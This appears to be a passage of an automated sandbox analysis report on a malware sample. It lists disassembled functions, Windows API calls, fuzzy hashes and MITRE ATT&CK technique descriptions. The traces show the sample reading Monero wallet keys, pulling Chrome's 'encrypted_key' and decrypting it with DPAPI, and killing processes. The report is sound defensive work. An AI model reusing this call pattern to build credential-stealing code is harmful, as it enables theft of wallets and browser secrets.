Part of subcall function 009F8B60: GetSystemTime.KERNEL32(00A00E1A,013B9A98,00A005AE,?,?,009E13F9,?,0000001A,00A00E1A,00000000,?,013B8BA0,?,\Monero\wallet.keys,00A00E17), ref: 009F8B86

Part of subcall function 009FA920: lstrcpy.KERNEL32(00000000,?), ref: 009FA972
Part of subcall function 009FA920: lstrcat.KERNEL32(00000000), ref: 009FA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 009ED481
lstrlen.KERNEL32(00000000), ref: 009ED698
lstrlen.KERNEL32(00000000), ref: 009ED6AC
DeleteFileA.KERNEL32(00000000), ref: 009ED72B

Memory Dump Source

Source File: 00000000.00000002.2100900274.00000000009E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.2100887792.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000C2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000C3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000DCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ECB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101379187.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101492369.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101505748.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 668544f5aa448384b207814a695410dfb5a02091ae44d10905ba54bce18fc9cf
Instruction ID: a1053c2e23305bbbb78cb9df9e4ca4995b701eca00c1c37db78a4662c3434e35
Opcode Fuzzy Hash: 668544f5aa448384b207814a695410dfb5a02091ae44d10905ba54bce18fc9cf
Instruction Fuzzy Hash: 609114B181010C9BCB14FBA0DC92FFE7338AF94340F508568F60BA6091EF746A49CB66

Function 009ED780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 009FA740: lstrcpy.KERNEL32(00A00E17,00000000), ref: 009FA788

Part of subcall function 009FA9B0: lstrlen.KERNEL32(?,013B8BA0,?,\Monero\wallet.keys,00A00E17), ref: 009FA9C5
Part of subcall function 009FA9B0: lstrcpy.KERNEL32(00000000), ref: 009FAA04
Part of subcall function 009FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 009FAA12

Part of subcall function 009FA8A0: lstrcpy.KERNEL32(?,00A00E17), ref: 009FA905

Part of subcall function 009F8B60: GetSystemTime.KERNEL32(00A00E1A,013B9A98,00A005AE,?,?,009E13F9,?,0000001A,00A00E1A,00000000,?,013B8BA0,?,\Monero\wallet.keys,00A00E17), ref: 009F8B86

Part of subcall function 009FA920: lstrcpy.KERNEL32(00000000,?), ref: 009FA972
Part of subcall function 009FA920: lstrcat.KERNEL32(00000000), ref: 009FA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 009ED801
lstrlen.KERNEL32(00000000), ref: 009ED99F
lstrlen.KERNEL32(00000000), ref: 009ED9B3
DeleteFileA.KERNEL32(00000000), ref: 009EDA32

Memory Dump Source

Source File: 00000000.00000002.2100900274.00000000009E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.2100887792.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000C2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000C3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000DCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ECB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101379187.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101492369.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101505748.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 9fe95c3d71f1d958a4e695374f5ac630bf1c1cb9a000261340db2f0416381b61
Instruction ID: 8684c4afaa39bb0a77a8fb1ebfcdefa79498c8e7acb47c65fdb7c5e1703429f1
Opcode Fuzzy Hash: 9fe95c3d71f1d958a4e695374f5ac630bf1c1cb9a000261340db2f0416381b61
Instruction Fuzzy Hash: 8D81F2B191010C9BDB14FBA4DC96FFE7339AF94340F504528F60BA60A1EF746A49CB66

Function 009F3560 Relevance: 6.1, APIs: 4, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2100900274.00000000009E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.2100887792.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000C2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000C3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000DCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ECB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101379187.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101492369.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101505748.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen
String ID:
API String ID: 367037083-0
Opcode ID: 0d84aaeab2d333217847dc39dde6d81664ac83d5622b641043842bec58cdb68c
Instruction ID: 37c6aaacfdc2317d30b0968642f34e111c01db4bbb218ca9f3d64fcf548f7ab1
Opcode Fuzzy Hash: 0d84aaeab2d333217847dc39dde6d81664ac83d5622b641043842bec58cdb68c
Instruction Fuzzy Hash: E5411FB1D1010DEBCB04EFA4D846FFEB778BB54304F10C418E616A6290DB79AA05CFA5

Function 009E9CE0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 009FA740: lstrcpy.KERNEL32(00A00E17,00000000), ref: 009FA788

Part of subcall function 009E99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 009E99EC
Part of subcall function 009E99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 009E9A11
Part of subcall function 009E99C0: LocalAlloc.KERNEL32(00000040,?), ref: 009E9A31
Part of subcall function 009E99C0: ReadFile.KERNEL32(000000FF,?,00000000,009E148F,00000000), ref: 009E9A5A
Part of subcall function 009E99C0: LocalFree.KERNEL32(009E148F), ref: 009E9A90
Part of subcall function 009E99C0: CloseHandle.KERNEL32(000000FF), ref: 009E9A9A

Part of subcall function 009F8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 009F8E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 009E9D39

Part of subcall function 009E9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,009E4EEE,00000000,00000000), ref: 009E9AEF
Part of subcall function 009E9AC0: LocalAlloc.KERNEL32(00000040,?,?,?,009E4EEE,00000000,?), ref: 009E9B01
Part of subcall function 009E9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,009E4EEE,00000000,00000000), ref: 009E9B2A
Part of subcall function 009E9AC0: LocalFree.KERNEL32(?,?,?,?,009E4EEE,00000000,?), ref: 009E9B3F

Part of subcall function 009E9B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 009E9B84
Part of subcall function 009E9B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 009E9BA3
Part of subcall function 009E9B60: LocalFree.KERNEL32(?), ref: 009E9BD3

Strings

"encrypted_key":", xrefs: 009E9D30
DPAPI, xrefs: 009E9D89
, xrefs: 009E9DC1

Memory Dump Source

Source File: 00000000.00000002.2100900274.00000000009E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.2100887792.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000C2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000C3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000DCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ECB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101379187.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101492369.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101505748.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2100535398-738592651
Opcode ID: 78cd8d56950b712a3873db40d0f102bece925a4a5f50cf764b806cb9fdbde22f
Instruction ID: 598931ab74a4d1d9d9f3e784dbafb2781c5506f155c9a686771058c481619ea8
Opcode Fuzzy Hash: 78cd8d56950b712a3873db40d0f102bece925a4a5f50cf764b806cb9fdbde22f
Instruction Fuzzy Hash: 7B310DB5D1021DABCB15DBA5DC85BEEB7B8AB48304F144519F905A6281EB309E44CBA1

Function 009F94D0 Relevance: 6.1, APIs: 4, Instructions: 89COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 009F94EB

Part of subcall function 009F8D50: GetProcessHeap.KERNEL32(00000000,000000FA,?,?,009F951E,00000000), ref: 009F8D5B
Part of subcall function 009F8D50: RtlAllocateHeap.NTDLL(00000000), ref: 009F8D62
Part of subcall function 009F8D50: wsprintfW.USER32 ref: 009F8D78

OpenProcess.KERNEL32(00001001,00000000,?), ref: 009F95AB
TerminateProcess.KERNEL32(00000000,00000000), ref: 009F95C9
CloseHandle.KERNEL32(00000000), ref: 009F95D6

Memory Dump Source

Source File: 00000000.00000002.2100900274.00000000009E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.2100887792.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000C2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000C3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000DCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ECB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101379187.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101492369.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101505748.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID: Process$Heap$AllocateCloseHandleOpenTerminatememsetwsprintf
String ID:
API String ID: 3729781310-0
Opcode ID: 10f6a3e3a0461b212f35b72ba23df92326fb4bab74a12e2fa50a25aafad3ccab
Instruction ID: 6d49e258dea99f3a9ea1ce3930eca63dea78a66720ea33b25a7730ed3d71d032
Opcode Fuzzy Hash: 10f6a3e3a0461b212f35b72ba23df92326fb4bab74a12e2fa50a25aafad3ccab
Instruction Fuzzy Hash: C8311CB1A1020C9FDB15DBE0CD49BEDB778EB44700F104459F606AA584DB74AA89CB51

Function 009F92E0 Relevance: 6.0, APIs: 4, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(009F3AEE,80000000,00000003,00000000,00000003,00000080,00000000,?,009F3AEE,?), ref: 009F92FC
GetFileSizeEx.KERNEL32(000000FF,009F3AEE), ref: 009F9319
CloseHandle.KERNEL32(000000FF), ref: 009F9327

Memory Dump Source

Source File: 00000000.00000002.2100900274.00000000009E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.2100887792.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000C2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000C3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000DCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ECB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101379187.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101492369.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101505748.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID:
API String ID: 1378416451-0
Opcode ID: 81a1dc644634bbdb86fc2c764c82e94eeb9796d7088ec1efcab2fb8e3309ed4d
Instruction ID: 1ef5f720406261b24c8781b9607841aeddca41d2042fa4abf3fc14a106ee8219
Opcode Fuzzy Hash: 81a1dc644634bbdb86fc2c764c82e94eeb9796d7088ec1efcab2fb8e3309ed4d
Instruction Fuzzy Hash: 09F04F35E50208BBDF20DFB4DC49FAE77B9AB48710F20C654BA51A72C0DAB496018B44

Function 009FC742 Relevance: 6.0, APIs: 4, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 009FC74E

Part of subcall function 009FBF9F: __amsg_exit.LIBCMT ref: 009FBFAF

__getptd.LIBCMT ref: 009FC765
__amsg_exit.LIBCMT ref: 009FC773
__updatetlocinfoEx_nolock.LIBCMT ref: 009FC797

Memory Dump Source

Source File: 00000000.00000002.2100900274.00000000009E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.2100887792.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000C2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000C3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000DCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ECB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101379187.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101492369.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101505748.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__updatetlocinfo
String ID:
API String ID: 300741435-0
Opcode ID: 71f69bb8250617e28f1e536743f9e5ecf7f6ad3077d53516cc62477642fa83b9
Instruction ID: b212c75c14880eb25b3bc7c57400c56a7140a18056e2fe73c0972ebf2aacbc9b
Opcode Fuzzy Hash: 71f69bb8250617e28f1e536743f9e5ecf7f6ad3077d53516cc62477642fa83b9
Instruction Fuzzy Hash: 12F090B290430C9BD720BFB89E06B7933A06F80720F248149F718AA1D2DB645941DF56

Function 009F4F40 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 009F8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 009F8E0B

lstrcat.KERNEL32(?,00000000), ref: 009F4F7A
lstrcat.KERNEL32(?,00A01070), ref: 009F4F97
lstrcat.KERNEL32(?,013B8A60), ref: 009F4FAB
lstrcat.KERNEL32(?,00A01074), ref: 009F4FBD

Part of subcall function 009F4910: wsprintfA.USER32 ref: 009F492C
Part of subcall function 009F4910: FindFirstFileA.KERNEL32(?,?), ref: 009F4943

Part of subcall function 009F4910: StrCmpCA.SHLWAPI(?,00A00FDC), ref: 009F4971
Part of subcall function 009F4910: StrCmpCA.SHLWAPI(?,00A00FE0), ref: 009F4987
Part of subcall function 009F4910: FindNextFileA.KERNEL32(000000FF,?), ref: 009F4B7D
Part of subcall function 009F4910: FindClose.KERNEL32(000000FF), ref: 009F4B92

Memory Dump Source

Source File: 00000000.00000002.2100900274.00000000009E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.2100887792.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000C2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000C3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000DCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ECB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101379187.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101492369.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101505748.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: 32a84404844ac71522b929bab62e6dc93a17541b8cef960d68c6364669283aea
Instruction ID: 38bc254bbc996d0dc1f8db595b89a4618dd15fb31123265ff7c0c4fe419dd3d4
Opcode Fuzzy Hash: 32a84404844ac71522b929bab62e6dc93a17541b8cef960d68c6364669283aea
Instruction Fuzzy Hash: 1221687691020C67CB64FB70EC46FEE337CAB94700F004554B659965C1EEB49AC98B92

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
